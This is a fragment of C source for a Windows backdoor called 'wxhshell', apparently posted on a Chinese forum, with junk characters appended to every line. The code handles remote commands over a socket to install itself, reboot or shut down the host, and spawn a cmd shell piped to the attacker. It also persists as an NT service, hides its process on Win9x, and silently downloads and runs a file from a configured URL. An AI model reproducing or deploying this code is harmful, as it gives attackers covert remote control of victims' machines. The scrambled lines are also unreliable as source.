  } %L,,  
  else { #cg@Z  
7!d<>_oH  
    switch(cmd[0]) { ^ZZ@!Udy  
  }lbx  
  // 帮助 &[\arwe)  
  case '?': { dodz|5o%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gQzF C&g  
    break; IaZAP  
  } :zk.^q  
  // 安装 \V7x3*nA  
  case 'i': { er}'}n`@q  
    if(Install()) P_}_D{G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/f_@8  
    else ZkG##Jp\>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 w  
    break; SodW5v a  
    } ToCfLJ?{  
  // 卸载 Y-9j2.{  
  case 'r': { pF{Ri  
    if(Uninstall()) Z|7I }i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f#JF5>o  
    else =$`")3y3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (#>5j7i8#  
    break; .6]cu{K(  
    } :=KGQ3V~eK  
  // 显示 wxhshell 所在路径 cF6@.)  
  case 'p': { lIT2 AFX+  
    char svExeFile[MAX_PATH]; p~y 4q4  
    strcpy(svExeFile,"\n\r"); yOm6HA``hT  
      strcat(svExeFile,ExeFile); k$m X81  
        send(wsh,svExeFile,strlen(svExeFile),0); [&59n,R`  
    break;  )"Yah  
    } iw6M3g#  
  // 重启 +c2>j8e6  
  case 'b': { 5_T>HHR 6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2/NWWoKw  
    if(Boot(REBOOT)) -CNv=vj 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S 2` ;7  
    else { 7 @Qlp$[F  
    closesocket(wsh); CHSD 8D  
    ExitThread(0); l`G:@}P>G  
    } -x5bdC(d  
    break; ;:YjgZ:+Q]  
    } YXOD fd%L  
  // 关机 B#lj8I^|  
  case 'd': { DD3yl\#,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )%W2XvG  
    if(Boot(SHUTDOWN)) 8U$UI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jWjK-q@Y  
    else { }|,\ ?7,  
    closesocket(wsh); \YyU5f7';  
    ExitThread(0); %=>xzP(z  
    } U-:Z ^+Y  
    break; YS6az0ie  
    } PhL5EYn  
  // 获取shell 2]KPW*V  
  case 's': { 7"U,N;y  
    CmdShell(wsh); xL#oP0d<e  
    closesocket(wsh); 0([jD25J!  
    ExitThread(0); 9Ei#t FMc  
    break; nmAXU!t'  
  } 7E t(p'  
  // 退出 =I3U.^ :  
  case 'x': { BuO J0$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^@cX0_  
    CloseIt(wsh); 9%veUvY  
    break; N>iCb:_ T;  
    } D($UbT-v  
  // 离开 *m/u3.\  
  case 'q': { PhdL@Mr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BAed [  
    closesocket(wsh); _Xe< JJvq  
    WSACleanup(); ^W*)3;5  
    exit(1); 5.;$9~d  
    break; ]zAg6*-/B  
        } p#NZ\qJ  
  } vIv3rN=5vB  
  } rI$10R$+H  
/v<8x?=  
  // 提示信息 2,`mNjHh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;hp; Rd  
} 'KrkC A  
  } Jk{2!uP  
5Uz(Bi  
  return; wYM{x!D  
} J~6*d,Ry`  
:36^^Wm  
// shell模块句柄 <o`]wOrl  
int CmdShell(SOCKET sock) N_}Im>;!  
{ ;f*xOdi*k  
STARTUPINFO si; ~|]\. ^B  
ZeroMemory(&si,sizeof(si)); w N.Jyb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ee| y[y,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $^GnY7$!>  
PROCESS_INFORMATION ProcessInfo; 8`<GplO  
char cmdline[]="cmd"; :RG6gvz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $9$NX/P  
  return 0; gW%(_H mX  
} $l0w{m!P  
EPfVS  
// 自身启动模式 ,\"gN5[$(  
int StartFromService(void) J> |`  
{ ~0:c{v;4  
typedef struct n\,W:G9AR7  
{ X^)5O>>|t  
  DWORD ExitStatus; Ue%5 :Sdr  
  DWORD PebBaseAddress; ]>j_ Y ,  
  DWORD AffinityMask; -': tpJk  
  DWORD BasePriority; BGOI  
  ULONG UniqueProcessId; YkbLf#2AE|  
  ULONG InheritedFromUniqueProcessId; u{^Kyo#v  
}   PROCESS_BASIC_INFORMATION; H2-(  
bBL"F!.  
PROCNTQSIP NtQueryInformationProcess; HX^ P9jXT  
ObnB6ShKi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OC.@C}u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M1\/ueOe  
cQb%bmBc5  
  HANDLE             hProcess; h<q``hn>  
  PROCESS_BASIC_INFORMATION pbi; T!r7RS  
T9yW# .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %UhF=C  
  if(NULL == hInst ) return 0; l1-FL-1  
MR: {Ps&,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C5?M/xj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nq3P?I(<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6=D;K.!  
3._fbAN%e  
  if (!NtQueryInformationProcess) return 0; igCtq!.a  
%kT:"j(xW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~I74'  
  if(!hProcess) return 0; :}-[%LSV  
j=LF1dG"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R8)"M(u=l  
,\IZ/1  
  CloseHandle(hProcess); (Nf.a4O  
it@s(1EO#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c{q`uI;O  
if(hProcess==NULL) return 0; W1z5|-T  
A>k;o0r  
HMODULE hMod; 1lM0pl6M  
char procName[255]; oB@C-(M  
unsigned long cbNeeded; h !1c(UR  
{I ,'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g*uO IF  
OX2\H  
  CloseHandle(hProcess); gsAO<Fy  
,\ i q'}i  
if(strstr(procName,"services")) return 1; // 以服务启动 TgLlmU*qMU  
 8j k*N  
  return 0; // 注册表启动 .[! ^ L  
} |iI`p-L9  
_!ed.h.r:  
// 主模块 ;K!Or  
int StartWxhshell(LPSTR lpCmdLine) pY@+.V`a  
{ ;f?bb*1  
  SOCKET wsl; kaLRI|hC  
BOOL val=TRUE; L.'N'-BV  
  int port=0; l/5/|UE9  
  struct sockaddr_in door; Yv)/DsSyL  
Et (prmH  
  if(wscfg.ws_autoins) Install(); P:+:Cm<  
Syb:i(Y  
port=atoi(lpCmdLine); iGIaZ!j aW  
SF7Kb`>Y  
if(port<=0) port=wscfg.ws_port; 622).N4  
pWqahrWh  
  WSADATA data; l;ugrAo?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !ibp/:x  
e;$s{CNo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xnTky1zq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *4bV8T>0Z  
  door.sin_family = AF_INET; *!/9?M{p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ScD9Ct*):C  
  door.sin_port = htons(port); n9%rjS$  
D+U^ pl-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _1 a2Z\  
closesocket(wsl); 7RZ7q@@fgh  
return 1; h ? M0@Z  
} AWzpk }\  
:c>,=FUT  
  if(listen(wsl,2) == INVALID_SOCKET) { M:~#"lfK  
closesocket(wsl); ]KmYPrCl0  
return 1; q)/4i9  
} Tr8+E;;  
  Wxhshell(wsl); F=#Wfl-o  
  WSACleanup(); bF.Aj8ZQ  
qr*/}F6  
return 0; C,E 5/XW  
AG?oA328  
} 31}6dg8?n  
?s//a_nL*  
// 以NT服务方式启动 )`)cB)s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 86i =N _  
{ 0bor/FU-d  
DWORD   status = 0; -(jcsqDk  
  DWORD   specificError = 0xfffffff; $_ y"P  
$I'ES#8P6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u=4Rn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V\_ &2',t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /#a$4 }2L  
  serviceStatus.dwWin32ExitCode     = 0; >\e11OU0Gy  
  serviceStatus.dwServiceSpecificExitCode = 0; >y?$aJ8ZV  
  serviceStatus.dwCheckPoint       = 0; <K43f#%  
  serviceStatus.dwWaitHint       = 0; /1Eg6hf9B  
SF6n06UZu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z)ydQw>  
  if (hServiceStatusHandle==0) return; ms?h/*E<H  
J-U}iU|  
status = GetLastError(); V\ |b#?KL  
  if (status!=NO_ERROR) 09Fr1PL  
{ UwLa9Dn^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;3w W)gL1  
    serviceStatus.dwCheckPoint       = 0; yk=H@`~!  
    serviceStatus.dwWaitHint       = 0; pCq{F*;  
    serviceStatus.dwWin32ExitCode     = status; )XD_Yq@E  
    serviceStatus.dwServiceSpecificExitCode = specificError; )Z62xK2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9]Y@eRI<  
    return; .e6:/x~p*  
  } O_E[F E:+  
{AZW."?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; az w8BK  
  serviceStatus.dwCheckPoint       = 0; Zffzyh  
  serviceStatus.dwWaitHint       = 0; Z'\_YbB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); de"*<+  
} d+_qBp  
yJ^}uw  
// 处理NT服务事件,比如:启动、停止 }{[F+|\>,e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P%1s6fjU  
{ 5n_<)Ycj  
switch(fdwControl) noacnQ_I$  
{ YcIk{_N3  
case SERVICE_CONTROL_STOP: /t816,i  
  serviceStatus.dwWin32ExitCode = 0; LB>!%Vx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ ^K[pA ?  
  serviceStatus.dwCheckPoint   = 0; GR"Jk[W9  
  serviceStatus.dwWaitHint     = 0; !nTq"d%(W  
  { ~($h9* \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6`4=!ZfI  
  } j}y"  
  return; smSUo /  
case SERVICE_CONTROL_PAUSE: k}/0B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,ujoGSx}  
  break; lOVsp#  
case SERVICE_CONTROL_CONTINUE: %zWtPxAf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rwU[dqBRhc  
  break;  3o z]  
case SERVICE_CONTROL_INTERROGATE: (`T:b1  
  break; 8tsW^y;S  
}; I(C_}I>Wb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LNe- ]3wB  
} !dZC-U~  
d8av`m  
// 标准应用程序主函数 g4Tc (k#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +YP,LDJ!v  
{ N O'-HKHj  
)jn xR${M  
// 获取操作系统版本 ,<%],-Lt[  
OsIsNt=GetOsVer(); O<fbO7.-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9'}m797I'  
q$K^E  
  // 从命令行安装 PQ1\b-I  
  if(strpbrk(lpCmdLine,"iI")) Install(); xK /NzVt  
D{ c`H}/`  
  // 下载执行文件 ibEQ52  
if(wscfg.ws_downexe) { q")}vN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^"l4   
  WinExec(wscfg.ws_filenam,SW_HIDE);  I"r*p?  
} uA,K}sNRZ  
dqcfs/XhP  
if(!OsIsNt) { s@0#w*N  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qd$d*mwg:  
HideProc(); PX+$Us  
StartWxhshell(lpCmdLine); z1s9[5  
} x#U?~6.6  
else rNdap*.  
  if(StartFromService()) B+,Z 3*  
  // 以服务方式启动 41$7P[M;  
  StartServiceCtrlDispatcher(DispatchTable); [9X1;bO#f  
else mim]nRd2v  
  // 普通方式启动 iB{O"l@w  
  StartWxhshell(lpCmdLine); i,,UD  
nXXyX[c4e  
return 0; >wZ!1Jq  
}
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只看该作者 1 发表于: 2006-10-10
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